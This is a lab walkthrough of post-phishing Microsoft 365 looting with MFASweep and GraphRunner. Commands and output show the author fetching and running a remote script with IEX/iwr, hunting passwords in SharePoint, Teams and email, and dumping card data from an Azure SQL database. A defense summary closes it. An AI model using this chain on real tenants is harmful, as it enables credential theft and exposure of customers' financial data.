Post

Loot Exchange, Teams and SharePoint with GraphRunner

Loot Exchange, Teams and SharePoint with GraphRunner

Scenario

Your red team is on an engagement and has successfully phished a Mega Big Tech employee to gain their credentials. So far increasing access within Azure has reached a dead end, and you have been tasked with unlocking further access. In scope is the entire on-premises and cloud infrastructure. Your goal is to gain access to customer records and demonstrate impact.

Walkthrough

We are given user credentials, so let’s check if MFA is enforced. We can use MFASweep to enumerate it (There are other tools like FindMeAccess). We can download the script and import it.

1
└─PS> . ./MFASweep.ps1

Or use Invoke-Expression to execute it

1
IEX (iwr 'https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1')

Now let’s enumerate the presence of MFA on Microsoft services. We also include a check for Active Directory Federated Services in case it is available

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─PS> Invoke-MFASweep -Username Clara.Miller@megabigtech.com -Password MegaBigTech99 -Recon -IncludeADFS
---------------- MFASweep ----------------
---------------- Running recon checks ----------------
[*] Checking if ADFS configured...
[*] ADFS does not appear to be in use. Authentication appears to be managed by Microsoft.
<SNIP>
---------------- ADFS Authentication ----------------
[*] Getting ADFS URL...
[*] ADFS does not appear to be in use. Authentication appears to be managed by Microsoft.                               
[*] Authenticating to On-Prem ADFS Portal at: 
######### SINGLE FACTOR ACCESS RESULTS #########                                                                                                                                                                                            
Microsoft Graph API                  | YES
Microsoft Service Management API     | YES
M365 w/ Windows UA                   | NO
M365 w/ Linux UA                     | NO
M365 w/ MacOS UA                     | NO
M365 w/ Android UA                   | NO
M365 w/ iPhone UA                    | NO
M365 w/ Windows Phone UA             | NO
Exchange Web Services (BASIC Auth)   | NO
Active Sync (BASIC Auth)             | NO
ADFS                                 | NO

We can see that single-factor authentication is enabled for our current user on the Microsoft Graph API and Microsoft Service Management API. Microsoft 365 applications ( Outlook, Teams and SharePoint) rely on the Microsoft Graph API, and this configuration allow us to enumerate and exfiltrate user generated content that might be useful.

Let’s check if compromised user has been assigned a Microsoft 365 license. Login into Azure with Connect-MgGraph and run the command below.

1
2
3
4
5
└─PS> Get-MgUserLicenseDetail -UserId "Clara.Miller@megabigtech.com"                                                                                                                                                                        

Id                                          SkuId                                SkuPartNumber
--                                          -----                                -------------
78yQJX1oO0mujUQcurY6chhRVTtq2hhEiU998eIJaHA 3b555118-da6a-4418-894f-7df1e2096870 O365_BUSINESS_ESSENTIALS

We see O365_BUSINESS_ESSENTIALS, which means that the user has access to Outlook, Teams, SharePoint and other productivity tools.

To find loot in Microsoft 365 environments, we can use GraphRunner. Check the following article and Youtube video about GraphRunner. Import the script

1
2
3
4
5
6
7
8
9
10
11
12
└─PS> . ./GraphRunner.ps1                                                                                                                                                                                                                   

  ________                     __      _______      by Beau Bullock (@dafthack)
 /_______/___________  ______ |  |____/_______\__ __  ____   ____   ___________
/___\  __\______\____\ \_____\|__|__\|________/__|__\/____\ /____\_/____\______\
\    \_\  \  | \// __ \|  |_/ |   Y  \    |   \  |  /   |  \   |  \  ___/|  | \/
 \________/__|  (______/__|   |___|__|____|___/____/|___|__/___|__/\___| >__|
                 Do service principals dream of electric sheep?                                                                                                                                                                             

For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki                                                                                                                                                       
To list GraphRunner modules run List-GraphRunnerModules                                                                                                                                                                                     
                                                             

To list all available modules

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─PS> List-GraphRunnerModules                                                                                                                                                                                                               
[*] Listing GraphRunner modules...
-------------------- Authentication Modules -------------------
        MODULE                  -        DESCRIPTION                                                                                                                                                                                        
Get-GraphTokens                 -        Authenticate as a user to Microsoft Graph
Invoke-RefreshGraphTokens       -        Use a refresh token to obtain new access tokens
Get-AzureAppTokens              -        Complete OAuth flow as an app to obtain access tokens
Invoke-RefreshAzureAppTokens    -        Use a refresh token and app credentials to refresh a token
Invoke-AutoTokenRefresh -        Refresh tokens at an interval.
----------------- Recon & Enumeration Modules -----------------
        MODULE                  -        DESCRIPTION                                                                                                                                                                                        
Invoke-GraphRecon               -        Performs general recon for org info, user settings, directory sync settings, etc
Invoke-DumpCAPS                 -        Gets conditional access policies
Invoke-DumpApps                 -        Gets app registrations and external enterprise apps along with consent and scope info
Get-AzureADUsers                -        Gets user directory
Get-SecurityGroups              -        Gets security groups and members
Get-UpdatableGroups             -        Gets groups that may be able to be modified by the current user
Get-DynamicGroups               -        Finds dynamic groups and displays membership rules
Get-SharePointSiteURLs          -        Gets a list of SharePoint site URLs visible to the current user
Invoke-GraphOpenInboxFinder     -        Checks each user's inbox in a list to see if they are readable
Get-TenantID                    -        Retrieves the tenant GUID from the domain name    
<SNIP>

For our case Pillage modules look interesting.

1
2
3
4
5
6
7
8
9
----------------------- Pillage Modules -----------------------
        MODULE                  -        DESCRIPTION
Invoke-SearchSharePointAndOneDrive      -        Search across all SharePoint sites and OneDrive drives visible to the user
Invoke-ImmersiveFileReader      -        Open restricted files with the immersive reader
Invoke-SearchMailbox            -        Deep searches across a user's mailbox and can export messages
Invoke-SearchTeams              -        Search all Teams messages in all channels that are readable by the current user
Invoke-SearchUserAttributes     -        Search for terms across all user attributes in a directory
Get-Inbox                       -        Gets inbox items
Get-TeamsChat                   -        Downloads full Teams chat conversations     

Now get a session with Microsoft Graph API using Get-GraphTokens

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─PS> Get-GraphTokens
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code SJJD3EZ67 to authenticate.
authorization_pending                                                                                                                                                                                                                       
authorization_pending                                                                                                   
authorization_pending                                                                                                   
authorization_pending                                                                                                   
authorization_pending                                                                                                   
authorization_pending                                                                                                   
authorization_pending                                                                                                   
authorization_pending                                                                                                   
Decoded JWT payload:

aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/2590ccef-687d-493b-ae8d-441cbab63a72/
iat                 : 1756827172
nbf                 : 1756827172
exp                 : 1756832807
<SNIP>
[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
[!] Your access token is set to expire on: 09/02/2025 23:06:47  

We can start with Invoke-SearchSharePointAndOneDrive. To see examples for any module with the Get-Help followed by the module name and the -examples parameter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─PS> Get-Help Invoke-SearchSharePointAndOneDrive -examples                                                                                                                                                                                 

NAME
    Invoke-SearchSharePointAndOneDrive
    
SYNOPSIS
    This module uses the Graph search API to search for specific terms in all SharePoint and OneDrive drives available to the logged in user. It prompts the user which files they want to download.   
    Author: Beau Bullock (@dafthack)
    License: MIT
    Required Dependencies: None
    Optional Dependencies: None
    
    
    -------------------------- EXAMPLE 1 --------------------------
    
    C:\PS>Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm 'password filetype:xlsx'
    -----------
    This will search through the all SharePoint and OneDrive drives accessible to the current user for the term password.

Let’s look for file containing the string password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─PS> Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm 'password'                                                                                                                                                             
[*] Using the provided access tokens.
[*] Found 2 matches for search term password                                                                                                                                                                                                
Result [0]                                                                                                                                                                                                                                  
File Name: passwords.xlsx
Location: https://iancloudpwned.sharepoint.com/Shared Documents/passwords.xlsx
Created Date: 03/27/2024 00:13:10
Last Modified Date: 04/24/2025 14:49:38
Size: 14.78 KB
File Preview: <ddd/><c0>Password</c0> Azure lindsey_adm <REDACTED> Dev Env r&d <REDACTED> Lindsey.<ddd/>
DriveID & Item ID: b!bT4vhymq0UWW7LvQnMzGLIicHuknVeZGkE3-8tuCtaeO-nKW9TKYT7NHHw0ABSux\:017K7QPLPAKVIRHIULQ5BK6A3KQTCK2SCD
================================================================================
Result [1]
File Name: Finance Logins.docx
Location: https://iancloudpwned.sharepoint.com/sites/FinanceTeam/Shared Documents/Finance Logins.docx
Created Date: 11/06/2023 00:17:46
Last Modified Date: 11/06/2023 00:17:00
Size: 20.74 KB
File Preview: <ddd/><c0>PASSWORDS</c0>) Service/Account: Finance Database URL: https://10.10.11.15/login Username: <ddd/> <c0>Password</c0>: <REDACTED> Service/Account: Accounting Software URL: https://accounting.<ddd/>
DriveID & Item ID: b!XM0yHkS8s0KPA7drboV7c7bd4PO1jD1BpS2fN8axCu6HW_Ya2jEcSZSebeuGuDsI\:01UALFMSZAKNKICFDDHRH2II4AID3NQRGJ
================================================================================
[*] Do you want to download any of these files? (Yes/No/All)
yes
[*] Enter the result number(s) of the file(s) that you want to download. Ex. "0,10,24"
0
[*] Now downloading passwords.xlsx
[*] Do you want to download any more files? (Yes/No/All)                                                                                                                                                                                    
No
[*] Quitting...

If you receive the error TooManyRequests, this is due to Microsoft Graph request throttling. Further information on this can be found in Microsoft’s documentation. The tool’s author, dafthack, has also acknowledged that this can sometimes be an issue. If you do see this, then the error includes the line number from GraphRunner.ps1 that encountered the issue - in this case line 6741. Looking at the code, we see that seems this stems from the request below.

1
2
3
4
5
6
7
8
9
10
    $access_token = $tokens.access_token
    $itemarray = $driveitemids.split(":")
    $downloadUrl = ("https://graph.microsoft.com/v1.0/drives/" + $itemarray[0] + "/items/" + $itemarray[1] + "/content")
    $downloadheaders = @{
    "Authorization" = "Bearer $access_token"
    "User-Agent" = $UserAgent
    }
    Write-Host -ForegroundColor yellow "[*] Now downloading $FileName"
    Invoke-RestMethod -Uri $downloadUrl -Headers $downloadheaders -OutFile $filename
}

The only variable that can be changed in this request is the User Agent. In this case, we can authenticate again using the Get-GraphTokens cmdlet with the -Device and -Browser parameters. For example - Get-GraphTokens -Device AndroidMobile -Browser Android.

The files contain credentials that can give access to very sensitive systems and data, which also potentially can grant access to the underlying servers ( in case there are any abusable functionalities, such as file uploads or known application vulnerabilities).

Let’s continues searching other sensitive data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─PS> Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm 'bonus'
[*] Using the provided access tokens.
[*] Found 1 matches for search term bonus
Result [0]
File Name: Bonuses - Confidential.xlsx
Location: https://iancloudpwned-my.sharepoint.com/personal/sam_olsson_megabigtech_com/Documents/Bonuses - Confidential.xlsx
Created Date: 11/05/2023 21:50:58
Last Modified Date: 11/05/2023 21:50:58
Size: 17.50 KB
File Preview: 
DriveID & Item ID: b!qFVO5o9Td0OqTdtkAzLcOeLC9xqzoSxNgtanvmZOWlEk66ey-hWeTL_LW84ry4xf\:01LMH7HCXMTDF5WDES3ZF3IDWGRV2P4OXB
================================================================================
[*] Do you want to download any of these files? (Yes/No/All)
Yes
[*] Enter the result number(s) of the file(s) that you want to download. Ex. "0,10,24"
0
[*] Now downloading Bonuses - Confidential.xlsx
[*] Do you want to download any more files? (Yes/No/All)
No
[*] Quitting...

The file is password protected

Let’s continue investigating other Microsoft 365 services. For example, Teams service is commonly used by organizations, thus we can use the Invoke-SearchTeams to search all Teams messages in all channels that are readable by the current user, as well as notes/chat that the user sends to themselves…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─PS> Invoke-SearchTeams -Tokens $tokens -SearchTerm password
[*] Using the provided access tokens.
[*] Refreshing token for Teams use...
From: Clara.Miller@megabigtech.com | Summary: password: <REDACTED
Full Message Body: <html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body><p>password: <REDACTED</p></body></html>
================================================================================
From: Clara.Miller@megabigtech.com | Summary: Call IT to reset my password for accounting system
Full Message Body: <html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body><p>Call IT to reset my password for accounting system</p></body></html>
================================================================================
From: Clara.Miller@megabigtech.com | Summary: Call IT to reset my password for accounting system
Full Message Body: <html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body><p>Call IT to reset my password for accounting system</p></body></html>
================================================================================
From: Clara.Miller@megabigtech.com | Summary: password: <REDACTED
Full Message Body: <html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body><p>password: <REDACTED</p></body></html>
================================================================================

We find a password, which works against protected document

Let’s continue investigation with emails and try searching for mailbox of our user

1
2
3
4
5
6
7
8
9
└─PS> Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 40                                                                                                                                                          
[*] Using the provided access tokens.
[*] Found 5 matches for search term password
Subject: Subscribers database | Sender: /O=EXCHANGELABS/OU=EXCHANGE ADMINISTRATIVE GROUP (FYDIBOHF23SPDLT)/CN=RECIPIENTS/CN=EF775FA670FB409789970E587F6F4F04-36FA333D-17 | Receivers: Sam Olsson | Date: 11/06/2023 17:24:50 | Message Preview: ...login below: Username: financereports Password: $reporting$123 Server: mbt-finance.database.windows.net Database: Finance Clara ...
================================================================================
[*] Do you want to download these emails and their attachments? (Yes/No)
No
[*] Quitting...

We can see from the preview the credentials for a Finance database. The subdomain database.windows.net, which is Azure SQL database. According to documentation states that Azure SQL databases are based on the latest stable version of the Microsoft SQL Server database engine.

1
2
3
4
Username: financereports
Password: $reporting$123
Server: mbt-finance.database.windows.net
Database: Finance

We can interact with the database using PowerShell, thus create a connection. To close the connection, $conn.Close()

1
2
3
4
$conn = New-Object System.Data.SqlClient.SqlConnection
$password='$reporting$123'
$conn.ConnectionString = "Server=mbt-finance.database.windows.net;Database=Finance;User ID=financereports;Password=$password;"
$conn.Open()

Then, we can start enumerating

1
2
3
4
5
6
7
8
$sqlcmd = $conn.CreateCommand()
$sqlcmd.Connection = $conn
$query = "SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';"
$sqlcmd.CommandText = $query
$adp = New-Object System.Data.SqlClient.SqlDataAdapter $sqlcmd
$data = New-Object System.Data.DataSet
$adp.Fill($data) | Out-Null
$data.Tables

We see Subscribers table.

1
2
3
4
5
└─PS> $data.Tables

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME  TABLE_TYPE
------------- ------------ ----------  ----------
Finance       dbo          Subscribers BASE TABLE

Let’s query the data.

1
2
3
4
5
6
7
8
$sqlcmd = $conn.CreateCommand()
$sqlcmd.Connection = $conn
$query = "SELECT * FROM Subscribers;"
$sqlcmd.CommandText = $query
$adp = New-Object System.Data.SqlClient.SqlDataAdapter $sqlcmd
$data = New-Object System.Data.DataSet
$adp.Fill($data) | Out-Null
$data.Tables | ft
1
2
3
4
5
6
7
8
9
10
└─PS> $data.Tables | ft

SubscriberID                         CardNumber       ExpiryDate            CVV FullName                               BirthDate
------------                         ----------       ----------            --- --------                               ---------
ebb7c066-b630-4794-9d3a-06451a685b65 4532756279624064 12/1/2025 12:00:00 AM 123 Alex Smith                             6/15/1990 12:00:00 AM
d4148d1d-f65e-45da-93fe-a47e39fa011b 5399832489200328 11/1/2023 12:00:00 AM 311 Jamie Doe                              3/22/1982 12:00:00 AM
076409fd-f8c6-4bd2-ac63-f38eb3245414 6011169726455487 1/1/2024 12:00:00 AM  667 Casey Johnson                          9/5/1975 12:00:00 AM
72394343-72ea-4c69-b3af-83609a7a22e3 4539588563664805 7/1/2025 12:00:00 AM  542 Jordan Bennett                         11/8/1992 12:00:00 AM
94f24f3a-e5c8-4708-a581-57557c6007cd 4024007137761885 12/1/2023 12:00:00 AM 234 Taylor Young                           4/16/1987 12:00:00 AM
<SNIP>

We see that the personally identifiable information (PII) of subscribers have not been protected, as their financial and personal information haven’t been encrypted.

Defense

This part is from lab’s defense section

There are few issues:

  • Lack of MFA on logging on to Microsoft 365 and Azure.
    • Allows enumeration of the license details and access various services, including Teams, Email (Exchange) SharePoint and OneDrive.
  • There were credentials, passwords and sensitive details in the email, documents, chat.
    • This unlocked access to several critical financial systems, including an Azure SQL database that contained customer subscription details, including financial data.
  • Public access to database.
    • Increases the risk of someone successfully brute forcing the database login details, or gaining credentials and being able to access it.
    • Better to estrict network access to only the IP addresses or ranges that require it.
This post is licensed under CC BY 4.0 by the author.